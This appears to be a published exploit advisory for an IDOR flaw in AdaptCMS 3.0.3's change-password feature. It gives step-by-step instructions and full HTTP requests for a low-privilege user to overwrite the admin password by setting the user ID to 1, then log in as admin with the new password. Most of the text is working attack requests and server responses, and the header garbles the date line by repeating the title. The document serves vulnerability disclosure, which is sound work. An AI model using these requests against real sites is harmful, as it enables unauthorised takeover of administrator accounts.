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# Exploit Title: IDOR "Change Password" Functionality - adaptcmsv3.0.3
# Date: # Exploit Title: IDOR "Change Password" Functionality - adaptcmsv3.0.3
# Date: 06/2025
# Exploit Author: Andrey Stoykov
# Version: 3.0.3
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/


IDOR "Change Password" Functionality #1:

Steps to Reproduce:

1. Login as user with low privilege and visit profile page
2. Select "Edit Your Profile" and click "Submit"
3. Trap the HTTP POST request
4. Set "data[User][password]" and "data[User][password_confirm]" values
"Passw0rd!"
5. Set "data[User][id]" value to "1"
6. This would change the password of the "admin" account


// HTTP POST request changing password

POST /adaptcms/users/edit HTTP/1.1
Host: 192.168.58.131
Content-Length: 2090
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://192.168.58.131
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryDvhxmc78yz9KfFbn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
[...]

[...]
4d63437ebea6a2ef6648b29cc1c43ea70600295a
------WebKitFormBoundaryDvhxmc78yz9KfFbn
Content-Disposition: form-data; name="data[User][password]"

password
------WebKitFormBoundaryDvhxmc78yz9KfFbn
Content-Disposition: form-data; name="data[User][password_confirm]"

password
------WebKitFormBoundaryDvhxmc78yz9KfFbn
Content-Disposition: form-data; name="data[User][email]"

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------WebKitFormBoundaryDvhxmc78yz9KfFbn
Content-Disposition: form-data; name="data[User][id]"

1
------WebKitFormBoundaryDvhxmc78yz9KfFbn
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Fri, 30 May 2025 19:56:17 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Content-Length: 13925
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


// HTTP POST request logging in with admin account

POST /adaptcms/login HTTP/1.1
Host: 192.168.58.131
Content-Length: 262
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://192.168.58.131
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
[...]

_method=POST&data[_Token][key]=dc18f92e4d0b810c603f45f2189b220de543a972&data[User][username]=admin&data[User][password]=Passw0rd!&data[_Token][fields]=5ba74a784fe0258a12c30194ef6a09b97a86bb1d%3A&data[_Token][unlocked]=


// HTTP Response

HTTP/1.1 302 Found
Date: Fri, 30 May 2025 19:56:33 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Set-Cookie: adaptcms=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
Max-Age=0; path=/
Set-Cookie: adaptcms=2aaosqqksob20a98viieaq8j44; expires=Mon, 02-Jun-2025
19:56:33 GMT; Max-Age=259200; path=/; HttpOnly
Location: http://192.168.58.131/adaptcms/admin
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
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